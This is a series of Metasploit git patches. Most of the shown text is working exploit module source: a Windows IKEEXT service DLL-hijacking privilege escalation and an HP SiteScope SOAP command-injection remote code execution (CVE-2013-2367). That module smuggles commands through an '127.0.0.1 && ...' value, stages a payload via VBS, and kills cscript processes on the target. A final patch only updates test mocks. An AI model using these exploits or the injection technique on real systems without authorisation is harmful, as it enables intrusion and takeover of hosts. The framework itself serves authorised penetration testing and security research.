sysinfo['Architecture'] =~ /x64/i + if payload_instance.arch.first == 'x86' + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end + else + if payload_instance.arch.first =~ /64/i + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end + end + end - def exploit - check_session_arch + def exploit + check_session_arch - begin - @token = get_imperstoken - rescue Rex::Post::Meterpreter::RequestError - vprint_error("Error while using get_imperstoken: #{e}") - end + begin + @token = get_imperstoken + rescue Rex::Post::Meterpreter::RequestError + vprint_error("Error while using get_imperstoken: #{e}") + end - fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token + fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token - if is_system? - fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") - end + if is_system? + fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") + end - print_status("Checking service exists...") - if !check_service_exists?(@service_name) - fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") - end + print_status("Checking service exists...") + if !check_service_exists?(@service_name) + fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") + end - if is_uac_enabled? - print_warning("UAC is enabled, may get false negatives on writable folders.") - end + if is_uac_enabled? + print_warning("UAC is enabled, may get false negatives on writable folders.") + end - if datastore['DIR'].empty? - # If DLL already exists in system folders, we dont want to overwrite by accident - if check_search_path - fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.") - end + if datastore['DIR'].empty? + # If DLL already exists in system folders, we dont want to overwrite by accident + if check_search_path + fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.") + end - file_path = check_system_path - file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs + file_path = check_system_path + file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs - if file_path.nil? - fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...") - end - else - # Use manually selected Dir - file_path = datastore['DIR'] - end + if file_path.nil? + fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...") + end + else + # Use manually selected Dir + file_path = datastore['DIR'] + end - @dll_file_path = "#{file_path}\\wlbsctrl.dll" + @dll_file_path = "#{file_path}\\wlbsctrl.dll" - service_information = service_info(@service_name) + service_information = service_info(@service_name) - if service_information['Startup'] == 'Disabled' - print_status("Service is disabled, attempting to enable...") - service_change_startup(@service_name, 'auto') - service_information = service_info(@service_name) + if service_information['Startup'] == 'Disabled' + print_status("Service is disabled, attempting to enable...") + service_change_startup(@service_name, 'auto') + service_information = service_info(@service_name) - # Still disabled - if service_information['Startup'] == 'Disabled' - fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") - end - end + # Still disabled + if service_information['Startup'] == 'Disabled' + fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") + end + end - # Check architecture - dll = generate_payload_dll + # Check architecture + dll = generate_payload_dll - # - # Drop the malicious executable into the path - # - print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") - begin - write_file(@dll_file_path, dll) - rescue Rex::Post::Meterpreter::RequestError => e - # Can't write the file, can't go on - fail_with(Exploit::Failure::Unknown, e.message) - end + # + # Drop the malicious executable into the path + # + print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") + begin + write_file(@dll_file_path, dll) + rescue Rex::Post::Meterpreter::RequestError => e + # Can't write the file, can't go on + fail_with(Exploit::Failure::Unknown, e.message) + end - # - # Run the service, let the Windows API do the rest - # - print_status("Launching service #{@service_name}...") + # + # Run the service, let the Windows API do the rest + # + print_status("Launching service #{@service_name}...") - begin - status = service_start(@service_name) - if status == 1 - print_status("Service already running, attempting to restart...") - if service_stop(@service_name) == 0 - print_status("Service stopped, attempting to start...") - if service_start(@service_name) == 0 - print_status("Service started...") - else - register_file_for_cleanup(@dll_file_path) - fail_with(Exploit::Failure::Unknown, "Unable to start service.") - end - else - register_file_for_cleanup(@dll_file_path) - fail_with(Exploit::Failure::Unknown, "Unable to stop service") - end - elsif status == 0 - print_status("Service started...") - register_file_for_cleanup(@dll_file_path) - end - rescue RuntimeError - if service_information['Startup'] == 'Manual' - register_file_for_cleanup(@dll_file_path) - fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") - else - if job_id - print_status("Unable to start service, handler running waiting for a reboot...") - while(true) - break if session_created? - select(nil,nil,nil,1) - end - else - register_file_for_cleanup(@dll_file_path) - fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") - end - end - end - end + begin + status = service_start(@service_name) + if status == 1 + print_status("Service already running, attempting to restart...") + if service_stop(@service_name) == 0 + print_status("Service stopped, attempting to start...") + if service_start(@service_name) == 0 + print_status("Service started...") + else + register_file_for_cleanup(@dll_file_path) + fail_with(Exploit::Failure::Unknown, "Unable to start service.") + end + else + register_file_for_cleanup(@dll_file_path) + fail_with(Exploit::Failure::Unknown, "Unable to stop service") + end + elsif status == 0 + print_status("Service started...") + register_file_for_cleanup(@dll_file_path) + end + rescue RuntimeError + if service_information['Startup'] == 'Manual' + register_file_for_cleanup(@dll_file_path) + fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") + else + if job_id + print_status("Unable to start service, handler running waiting for a reboot...") + while(true) + break if session_created? + select(nil,nil,nil,1) + end + else + register_file_for_cleanup(@dll_file_path) + fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") + end + end + end + end end From 368a78a96390ac6b7bb9425c9e8ff6bbe27a5f59 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 5 Sep 2013 15:00:58 -0500 Subject: [PATCH 087/160] Undo post setup change --- lib/msf/core/post.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/lib/msf/core/post.rb b/lib/msf/core/post.rb index 3290e22a0e..1b00edf3f3 100644 --- a/lib/msf/core/post.rb +++ b/lib/msf/core/post.rb @@ -11,9 +11,7 @@ module Msf class Post < Msf::Module include PostMixin - def setup - super - end + def setup; end def type MODULE_POST From 400b4332677666ba28f6a32ebd22beff96471299 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 5 Sep 2013 22:21:44 +0100 Subject: [PATCH 088/160] Sort out exception handling --- modules/exploits/windows/local/ikeext_service.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 92010722d9..f8cec3029f 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -291,7 +291,8 @@ class Metasploit3 < Msf::Exploit::Local print_status("Service started...") register_file_for_cleanup(@dll_file_path) end - rescue RuntimeError + rescue RuntimeError => e + raise e if e.kind_of? Msf::Exploit::Failed if service_information['Startup'] == 'Manual' register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") From 473f08bbb64ff881c2a9080f51eb4b94d2ef614c Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 5 Sep 2013 22:43:26 +0100 Subject: [PATCH 089/160] Register cleanup and update check --- modules/exploits/windows/local/ikeext_service.rb | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index f8cec3029f..626a8f24f3 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Local end def check - srv_info = service_info('IKEEXT') + srv_info = service_info(@service_name) if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe @@ -261,6 +261,7 @@ class Metasploit3 < Msf::Exploit::Local print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") begin write_file(@dll_file_path, dll) + register_file_for_cleanup(@dll_file_path) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on fail_with(Exploit::Failure::Unknown, e.message) @@ -280,21 +281,17 @@ class Metasploit3 < Msf::Exploit::Local if service_start(@service_name) == 0 print_status("Service started...") else - register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service.") end else - register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to stop service") end elsif status == 0 print_status("Service started...") - register_file_for_cleanup(@dll_file_path) end rescue RuntimeError => e raise e if e.kind_of? Msf::Exploit::Failed if service_information['Startup'] == 'Manual' - register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") else if job_id @@ -304,7 +301,6 @@ class Metasploit3 < Msf::Exploit::Local select(nil,nil,nil,1) end else - register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") end end From 7d4bf0c73960f75a04bb71556689a16ca6d751b3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 5 Sep 2013 23:25:41 -0500 Subject: [PATCH 090/160] Retab changes for PR #2327 --- .../http/hp_sitescope_runomagentcommand.rb | 276 +++++++++--------- 1 file changed, 138 insertions(+), 138 deletions(-) diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index aa31bef67d..88eb9e5f85 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -8,166 +8,166 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerVBS - def initialize(info = {}) - super(update_info(info, - 'Name' => 'HP SiteScope Remote Code Execution', - 'Description' => %q{ - This module exploits a code execution flaw in HP SiteScope. - The vulnerability exists on the opcactivate.vbs script, which - is reachable from the APIBSMIntegrationImpl AXIS service, and - uses WScript.Shell.run() to execute cmd.exe with user provided - data. Note which the opcactivate.vbs component is installed - with the (optional) HP Operations Agent component. The module - has been tested successfully on HP SiteScope 11.20 (with HP - Operations Agent) over Windows 2003 SP2. - }, - 'Author' => - [ - 'rgod ', # Vulnerability discovery - 'juan vazquez' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2013-2367'], - [ 'OSVDB', '95824' ], - [ 'BID', '61506' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-205/' ] - ], - 'Privileged' => true, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Targets' => - [ - [ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ] - ], - 'DefaultTarget' => 0, - 'DefaultOptions' => - { - 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") - }, - 'DisclosureDate' => 'Jul 29 2013')) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP SiteScope Remote Code Execution', + 'Description' => %q{ + This module exploits a code execution flaw in HP SiteScope. + The vulnerability exists on the opcactivate.vbs script, which + is reachable from the APIBSMIntegrationImpl AXIS service, and + uses WScript.Shell.run() to execute cmd.exe with user provided + data. Note which the opcactivate.vbs component is installed + with the (optional) HP Operations Agent component. The module + has been tested successfully on HP SiteScope 11.20 (with HP + Operations Agent) over Windows 2003 SP2. + }, + 'Author' => + [ + 'rgod ', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2367'], + [ 'OSVDB', '95824' ], + [ 'BID', '61506' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-205/' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") + }, + 'DisclosureDate' => 'Jul 29 2013')) - register_options( - [ - Opt::RPORT(8080), - OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) - ], self.class) - end + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) + ], self.class) + end - def uri - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' - return uri - end + def uri + uri = normalize_uri(target_uri.path) + uri << '/' if uri[-1,1] != '/' + return uri + end - def check + def check - op = rand_text_alpha(8 + rand(10)) - key = rand_text_alpha(8 + rand(10)) - value = rand_text_alpha(8 + rand(10)) + op = rand_text_alpha(8 + rand(10)) + key = rand_text_alpha(8 + rand(10)) + value = rand_text_alpha(8 + rand(10)) - res = send_soap_request(op, key, value) + res = send_soap_request(op, key, value) - if res and res.code == 200 and res.body =~ /runOMAgentCommandResponse/ - return Exploit::CheckCode::Detected - end + if res and res.code == 200 and res.body =~ /runOMAgentCommandResponse/ + return Exploit::CheckCode::Detected + end - return Exploit::CheckCode::Safe - end + return Exploit::CheckCode::Safe + end - def exploit - @peer = "#{rhost}:#{rport}" + def exploit + @peer = "#{rhost}:#{rport}" - print_status("#{@peer} - Delivering payload...") + print_status("#{@peer} - Delivering payload...") - # The path to the injection is something like: - # * Java exec => cscript => WScript.Shell => cmd.exe (injection happens) - # Empirically has been tested a 1500 value for :linemax makes it work - # reliable - execute_cmdstager({:linemax => 1500}) - end + # The path to the injection is something like: + # * Java exec => cscript => WScript.Shell => cmd.exe (injection happens) + # Empirically has been tested a 1500 value for :linemax makes it work + # reliable + execute_cmdstager({:linemax => 1500}) + end - def get_vbs_string(str) - vbs_str = "" - str.each_byte { |b| - vbs_str << "Chr(#{b})+" - } + def get_vbs_string(str) + vbs_str = "" + str.each_byte { |b| + vbs_str << "Chr(#{b})+" + } - return vbs_str.chomp("+") - end + return vbs_str.chomp("+") + end - # Make the modifications required to the specific encoder - # This exploit uses an specific encoder because quotes (") - # aren't allowed when injecting commands - def execute_cmdstager_begin(opts) - var_decoded = @stager_instance.instance_variable_get(:@var_decoded) - var_encoded = @stager_instance.instance_variable_get(:@var_encoded) - decoded_file = "#{var_decoded}.exe" - encoded_file = "#{var_encoded}.b64" - @cmd_list.each { |command| - # Because the exploit kills cscript processes to speed up and reliability - command.gsub!(/cscript \/\/nologo/, "wscript //nologo") - command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file)) - command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file)) - } - end + # Make the modifications required to the specific encoder + # This exploit uses an specific encoder because quotes (") + # aren't allowed when injecting commands + def execute_cmdstager_begin(opts) + var_decoded = @stager_instance.instance_variable_get(:@var_decoded) + var_encoded = @stager_instance.instance_variable_get(:@var_encoded) + decoded_file = "#{var_decoded}.exe" + encoded_file = "#{var_encoded}.b64" + @cmd_list.each { |command| + # Because the exploit kills cscript processes to speed up and reliability + command.gsub!(/cscript \/\/nologo/, "wscript //nologo") + command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file)) + command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file)) + } + end - def execute_command(cmd, opts={}) - # HTML Encode '&' character - # taskkill allows to kill the cscript process which is triggering the - # different operations performed by the OPACTIVATE command. It speeds - # up exploitation and improves reliability (some processes launched can die - # due to the fake activation). But this line also will kill other cscript - # legit processes which could be running on the target host. Because of it - # the exploit has a Manual ranking - command = ""127.0.0.1 && " - command << cmd.gsub(/&/, "&") - command << " && taskkill /F /IM cscript.exe "" + def execute_command(cmd, opts={}) + # HTML Encode '&' character + # taskkill allows to kill the cscript process which is triggering the + # different operations performed by the OPACTIVATE command. It speeds + # up exploitation and improves reliability (some processes launched can die + # due to the fake activation). But this line also will kill other cscript + # legit processes which could be running on the target host. Because of it + # the exploit has a Manual ranking + command = ""127.0.0.1 && " + command << cmd.gsub(/&/, "&") + command << " && taskkill /F /IM cscript.exe "" - res = send_soap_request("OPCACTIVATE", "omHost", command) + res = send_soap_request("OPCACTIVATE", "omHost", command) - if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/ - fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...") - end + if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/ + fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...") + end - end + end - def send_soap_request(op, key, value) - data = "" - data << "" - data << "" - data << "" - data << "" - data << "" - data << "#{key}" - data << "#{value}" - data << "" - data << "" - data << "#{op}" - data << "" - data << "" - data << "" + def send_soap_request(op, key, value) + data = "" + data << "" + data << "" + data << "" + data << "" + data << "" + data << "#{key}" + data << "#{value}" + data << "" + data << "" + data << "#{op}" + data << "" + data << "" + data << "" - res = send_request_cgi({ - 'uri' => normalize_uri(uri, 'services', 'APIBSMIntegrationImpl'), - 'method' => 'POST', - 'ctype' => 'text/xml; charset=UTF-8', - 'data' => data, - 'headers' => { - 'SOAPAction' => '""' - } - }) + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'services', 'APIBSMIntegrationImpl'), + 'method' => 'POST', + 'ctype' => 'text/xml; charset=UTF-8', + 'data' => data, + 'headers' => { + 'SOAPAction' => '""' + } + }) - return res - end + return res + end end From 4760000bcae8265801bc7740bccc0ce243592012 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Fri, 23 Aug 2013 15:44:37 -0500 Subject: [PATCH 091/160] Replace mock with double in specs mock is deprecated - https://www.relishapp.com/rspec/rspec-mocks/docs --- .../abstract_adapter/connection_pool_spec.rb | 2 +- spec/lib/msf/core/exploit/http/server_spec.rb | 2 +- .../msf/core/modules/loader/archive_spec.rb | 2 +- spec/lib/msf/core/modules/loader/base_spec.rb | 32 +++++++++---------- .../msf/core/modules/loader/directory_spec.rb | 6 ++-- spec/lib/msf/core/option_container_spec.rb | 4 +-- spec/lib/msf/db_manager_spec.rb | 6 ++-- spec/lib/rex/proto/http/client_spec.rb | 2 +- spec/support/shared/contexts/msf/ui_driver.rb | 2 +- .../examples/msf/db_manager/import_msf_xml.rb | 4 +-- .../examples/msf/db_manager/migration.rb | 4 +-- .../examples/msf/module_manager/cache.rb | 8 ++--- .../examples/msf/module_manager/loading.rb | 2 +- 13 files changed, 38 insertions(+), 38 deletions(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index f851f48794..51f8b6f399 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -82,7 +82,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do end it 'should yield #connection' do - connection = mock('Connection') + connection = double('Connection') connection_pool.stub(:connection => connection) expect { |block| diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index 4aed0c7d0e..e2d4c358e5 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -15,7 +15,7 @@ describe Msf::Exploit::Remote::HttpServer do end let(:mock_service) do - mock_service = mock("service") + mock_service = double("service") mock_service.stub(:server_name=) mock_service.stub(:add_resource) diff --git a/spec/lib/msf/core/modules/loader/archive_spec.rb b/spec/lib/msf/core/modules/loader/archive_spec.rb index a516ba67ff..c65409261d 100644 --- a/spec/lib/msf/core/modules/loader/archive_spec.rb +++ b/spec/lib/msf/core/modules/loader/archive_spec.rb @@ -24,7 +24,7 @@ describe Msf::Modules::Loader::Archive do end let(:framework) do - mock('Framework') + double('Framework') end let(:module_extension) do diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 123446cf2c..59763278ad 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -122,7 +122,7 @@ describe Msf::Modules::Loader::Base do context 'loader' do it 'should be a read/write attribute' do - loader = mock('Loader') + loader = double('Loader') namespace_module.loader = loader namespace_module.loader.should == loader @@ -155,7 +155,7 @@ describe Msf::Modules::Loader::Base do context 'parent_path' do it 'should be a read/write attribute' do - parent_path = mock('Parent Path') + parent_path = double('Parent Path') namespace_module.parent_path = parent_path namespace_module.parent_path.should == parent_path @@ -221,7 +221,7 @@ describe Msf::Modules::Loader::Base do context 'instance methods' do let(:module_manager) do - mock('Module Manager', :module_load_error_by_path => {}) + double('Module Manager', :module_load_error_by_path => {}) end subject do @@ -317,7 +317,7 @@ describe Msf::Modules::Loader::Base do module_manager.stub(:delete).with(module_reference_name) module_manager.stub(:file_changed?).with(module_path).and_return(true) - module_set = mock('Module Set') + module_set = double('Module Set') module_set.stub(:delete).with(module_reference_name) module_manager.stub(:module_set).with(type).and_return(module_set) end @@ -372,11 +372,11 @@ describe Msf::Modules::Loader::Base do context 'with errors from namespace_module_eval_with_lexical_scope' do before(:each) do - @namespace_module = mock('Namespace Module') + @namespace_module = double('Namespace Module') @namespace_module.stub(:parent_path=) subject.stub(:namespace_module_transaction).and_yield(@namespace_module) - module_content = mock('Module Content', :empty? => false) + module_content = double('Module Content', :empty? => false) subject.stub(:read_module_content).and_return(module_content) end @@ -471,11 +471,11 @@ describe Msf::Modules::Loader::Base do context 'without module_eval errors' do before(:each) do - @namespace_module = mock('Namespace Module') + @namespace_module = double('Namespace Module') @namespace_module.stub(:parent_path=) @namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path) - metasploit_class = mock('Metasploit Class', :parent => @namespace_module) + metasploit_class = double('Metasploit Class', :parent => @namespace_module) @namespace_module.stub(:metasploit_class! => metasploit_class) subject.stub(:namespace_module_transaction).and_yield(@namespace_module) @@ -574,7 +574,7 @@ describe Msf::Modules::Loader::Base do context 'with metasploit_class' do let(:metasploit_class) do - mock('Metasploit Class') + double('Metasploit Class') end before(:each) do @@ -727,7 +727,7 @@ describe Msf::Modules::Loader::Base do anything ) - namespace_module = mock('Namespace Module') + namespace_module = double('Namespace Module') namespace_module.stub(:loader=) subject.stub(:current_module => namespace_module) @@ -743,7 +743,7 @@ describe Msf::Modules::Loader::Base do anything ) - namespace_module = mock('Namespace Module') + namespace_module = double('Namespace Module') namespace_module.stub(:loader=) subject.stub(:current_module => namespace_module) @@ -759,7 +759,7 @@ describe Msf::Modules::Loader::Base do described_class::NAMESPACE_MODULE_LINE - namespace_module_names.length ) - namespace_module = mock('Namespace Module') + namespace_module = double('Namespace Module') namespace_module.stub(:loader=) subject.stub(:current_module => namespace_module) @@ -767,7 +767,7 @@ describe Msf::Modules::Loader::Base do end it "should set the namespace_module's module loader to itself" do - namespace_module = mock('Namespace Module') + namespace_module = double('Namespace Module') namespace_module.should_receive(:loader=).with(subject) @@ -1292,7 +1292,7 @@ describe Msf::Modules::Loader::Base do context '#usable?' do context 'without metasploit_class responding to is_usable' do it 'should return true' do - metasploit_class = mock('Metasploit Class') + metasploit_class = double('Metasploit Class') metasploit_class.should_not respond_to(:is_usable) subject.send(:usable?, metasploit_class).should be_true @@ -1303,7 +1303,7 @@ describe Msf::Modules::Loader::Base do it 'should delegate to metasploit_class.is_usable' do # not a proper return, but guarantees that delegation is actually happening usability = 'maybe' - metasploit_class = mock('Metasploit Class', :is_usable => usability) + metasploit_class = double('Metasploit Class', :is_usable => usability) subject.send(:usable?, metasploit_class).should == usability end @@ -1314,7 +1314,7 @@ describe Msf::Modules::Loader::Base do end let(:metasploit_class) do - metasploit_class = mock('Metasploit Class') + metasploit_class = double('Metasploit Class') metasploit_class.stub(:is_usable).and_raise(error) diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index d2c2539072..eb967951ac 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -10,7 +10,7 @@ describe Msf::Modules::Loader::Directory do include_context 'Msf::Modules::Loader::Base' let(:module_manager) do - mock('Module Manager') + double('Module Manager') end let(:module_path) do @@ -28,9 +28,9 @@ describe Msf::Modules::Loader::Directory do context '#load_module' do context 'with existent module_path' do let(:framework) do - framework = mock('Msf::Framework', :datastore => {}) + framework = double('Msf::Framework', :datastore => {}) - events = mock('Events') + events = double('Events') events.stub(:on_module_load) events.stub(:on_module_created) framework.stub(:events => events) diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index 7e0fc62302..1a8d26b86b 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -5,12 +5,12 @@ require 'msf/core/option_container' describe Msf::OptionContainer do it "should create new options for it's args" do - foo_inst = mock("foo_inst") + foo_inst = double("foo_inst") foo_inst.stub(:advanced=) foo_inst.stub(:evasion=) foo_inst.stub(:owner=) - foo_class = mock("opt_class") + foo_class = double("opt_class") foo_class.should_receive(:new).and_return(foo_inst) foo_inst.should_receive(:name).and_return("thing") diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index 2f0472b9a1..7bb3d98f8a 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -158,7 +158,7 @@ describe Msf::DBManager do let(:module_instance) do name = 'multi/handler' - mock( + double( 'Msf::Module', :fullname => "exploit/#{name}", :framework => framework, @@ -268,7 +268,7 @@ describe Msf::DBManager do context 'with workspace from either :workspace or session' do it 'should pass normalized host from session as :host to #find_or_create_host' do - normalized_host = mock('Normalized Host') + normalized_host = double('Normalized Host') db_manager.stub(:normalize_host).with(session).and_return(normalized_host) # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. db_manager.stub(:report_vuln) @@ -583,7 +583,7 @@ describe Msf::DBManager do context 'without Msf::Session' do let(:session) do - mock('Not a Msf::Session') + double('Not a Msf::Session') end it 'should raise ArgumentError' do diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 1d690ee54d..800c5afc7d 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -108,7 +108,7 @@ describe Rex::Proto::Http::Client do end it "should send creds after receiving a 401" do - conn = mock + conn = double conn.stub(:put) conn.stub(:shutdown) conn.stub(:close) diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 3349297e16..385abe986d 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -1,6 +1,6 @@ shared_context 'Msf::UIDriver' do let(:driver) do - mock( + double( 'Driver', :framework => framework ).tap { |driver| diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb index f364546412..964925675a 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb @@ -319,7 +319,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do context 'with :workspace' do let(:workspace) do - mock(':workspace') + double(':workspace') end before(:each) do @@ -469,7 +469,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do context 'specialization block' do let(:returned_hash) do { - :specialized => mock('Value') + :specialized => double('Value') } end diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 6cf698dace..7644295942 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -21,7 +21,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do - migrations = [mock('Migration 1')] + migrations = [double('Migration 1')] ActiveRecord::Migrator.stub(:migrate => migrations) migrate.should == migrations @@ -128,7 +128,7 @@ shared_examples_for 'Msf::DBManager::Migration' do descendants = [] 1.upto(2) do |i| - descendants << mock("Descendant #{i}") + descendants << double("Descendant #{i}") end ActiveRecord::Base.stub(:descendants => descendants) diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 1cb8b7c73d..189474d047 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -73,11 +73,11 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end let(:class_or_module) do - mock('Class or Module', :parent => namespace_module) + double('Class or Module', :parent => namespace_module) end let(:namespace_module) do - mock('Msf::Modules::Namespace', :parent_path => parent_path) + double('Msf::Modules::Namespace', :parent_path => parent_path) end context 'with existing :path' do @@ -435,7 +435,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context 'with reference_name' do before(:each) do - typed_module_set[reference_name] = mock('Msf::Module') + typed_module_set[reference_name] = double('Msf::Module') end it 'should not change reference_name value' do @@ -469,7 +469,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do it 'should reset #module_info_by_path' do # pre-fill module_info_by_path so change can be detected - module_manager.send(:module_info_by_path=, mock('In-memory Cache')) + module_manager.send(:module_info_by_path=, double('In-memory Cache')) 